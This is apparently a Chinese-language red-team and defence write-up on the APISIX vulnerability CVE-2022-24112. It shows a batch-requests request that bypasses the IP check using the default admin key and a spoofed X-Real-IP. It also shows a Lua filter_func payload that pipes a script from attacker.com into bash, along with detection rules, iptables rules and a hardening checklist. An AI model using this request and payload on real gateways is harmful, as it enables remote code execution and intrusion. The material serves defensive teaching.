从红队视角拆解APISIX漏洞攻防CVE-2022-24112实战对抗全记录当凌晨三点的告警铃声突然响起安全运营中心的工程师们面对的往往是一个已经完成横向移动的攻击者。CVE-2022-24112这个看似普通的API网关漏洞在真实的红蓝对抗中可能成为突破内网防线的关键跳板。本文将还原一次真实的内部红队演练展示攻击者如何利用默认配置弱点构建完整攻击链同时为防御者提供可立即落地的检测方案。1. 漏洞环境与攻击面分析在模拟演练环境中我们部署了存在漏洞的APISIX 2.10.3版本其典型特征包括开放9080端口的API服务使用默认admin keyedd1c9f034335f136f87ad84b625c8f1启用batch-requests插件配置了宽松的IP访问策略allow_admin: 0.0.0.0/0关键风险组合1. 未修改的默认凭证 → 身份认证突破点 2. batch-requests插件代码缺陷 → IP限制绕过 3. filter_func功能 → 代码执行入口攻击面矩阵组件风险点利用条件影响等级Admin API默认密钥认证密钥未修改高危数据面板IP检查逻辑缺陷使用batch-requests插件严重路由配置Lua filter_func执行管理员权限获取严重2. 攻击链拆解与实战复现2.1 初始访问阶段红队首先通过扫描发现暴露的APISIX管理接口9080端口使用经典的三步确认法服务指纹识别curl -I http://target:9080/apisix/admin/routes # 返回401 Unauthorized但暴露Server: APISIX/2.10.3默认凭证测试headers {X-API-KEY: edd1c9f034335f136f87ad84b625c8f1} r requests.get(http://target:9080/apisix/admin/routes, headersheaders)插件功能探测// 确认batch-requests可用 POST /apisix/batch-requests {pipeline:[{path:/status}]}防御检测点监控/admin接口的401响应频率单个IP在短时间内出现多次401后成功200的状态码切换是明显异常。2.2 权限提升与绕过攻击者利用batch-requests插件的IP检查缺陷构造特殊请求头POST /apisix/batch-requests HTTP/1.1 Host: target:9080 X-API-KEY: edd1c9f034335f136f87ad84b625c8f1 Content-Type: application/json { headers: { X-Real-IP: 127.0.0.1, X-API-KEY: edd1c9f034335f136f87ad84b625c8f1 }, pipeline: [ { method: PUT, path: /apisix/admin/routes/rce, body: 恶意路由配置 } ] }流量特征分析出现X-Real-IP与Client-IP不一致pipeline内包含路由修改操作Content-Type为application/json但实际传输Lua代码2.3 命令执行与持久化成功绕过限制后红队通过filter_func注入恶意Lua代码filter_func: function(vars) os.execute(curl http://attacker.com/shell.sh|bash); return true end典型攻击载荷包括反向Shell连接内存马注入凭证窃取脚本内网扫描工具部署日志审计关键字段grep filter_func /usr/local/apisix/logs/access.log | grep -E os\.execute|io\.popen3. 防御体系构建方案3.1 即时检测策略日志监控规则示例ELK/Splunk1. 异常路由创建 event.path:/apisix/admin/routes AND request_method:PUT AND (user_agent:curl/* OR user_agent:python-requests*) 2. 恶意Lua执行 message:batch-requests AND (message:os.execute OR message:io.popen) 3. 默认密钥使用 http.headers.X-API-KEY:edd1c9f034335f136f87ad84b625c8f1 AND response_code:2003.2 网络层防护建议的iptables规则# 限制Admin API访问IP iptables -A INPUT -p tcp --dport 9080 -s 10.0.0.0/8 -j ACCEPT iptables -A INPUT -p tcp --dport 9080 -j DROP # 防止IP欺骗 iptables -A INPUT -m conntrack --ctstate INVALID -j DROP iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT3.3 配置加固清单必须修改项更改默认admin key关闭不必要的插件batch-requests限制admin API访问IP推荐配置# config.yaml关键配置 allow_admin: - 10.1.1.0/24 admin_key: - name: custom_admin key: $(openssl rand -hex 16) plugins: - ... # 显式列出所需插件4. 事件响应实战手册当检测到可疑活动时建议按以下流程处置阶段一快速遏制立即禁用受影响节点的管理接口冻结可疑API密钥捕获当前网络连接ss -antp | grep 9080阶段二影响评估# 检查异常路由 curl -H X-API-KEY: 合法key http://localhost:9080/apisix/admin/routes # 检索恶意filter_func grep -r filter_func /usr/local/apisix/conf/routes/阶段三根除恢复回滚到漏洞修复版本≥2.12.1轮换所有API密钥审计所有路由配置在一次真实的客户环境中我们通过分析batch-requests的访问日志发现攻击者平均会在得手后23分钟内开始横向移动。这给防御者留下了极短的响应窗口必须建立自动化检测机制才能有效应对。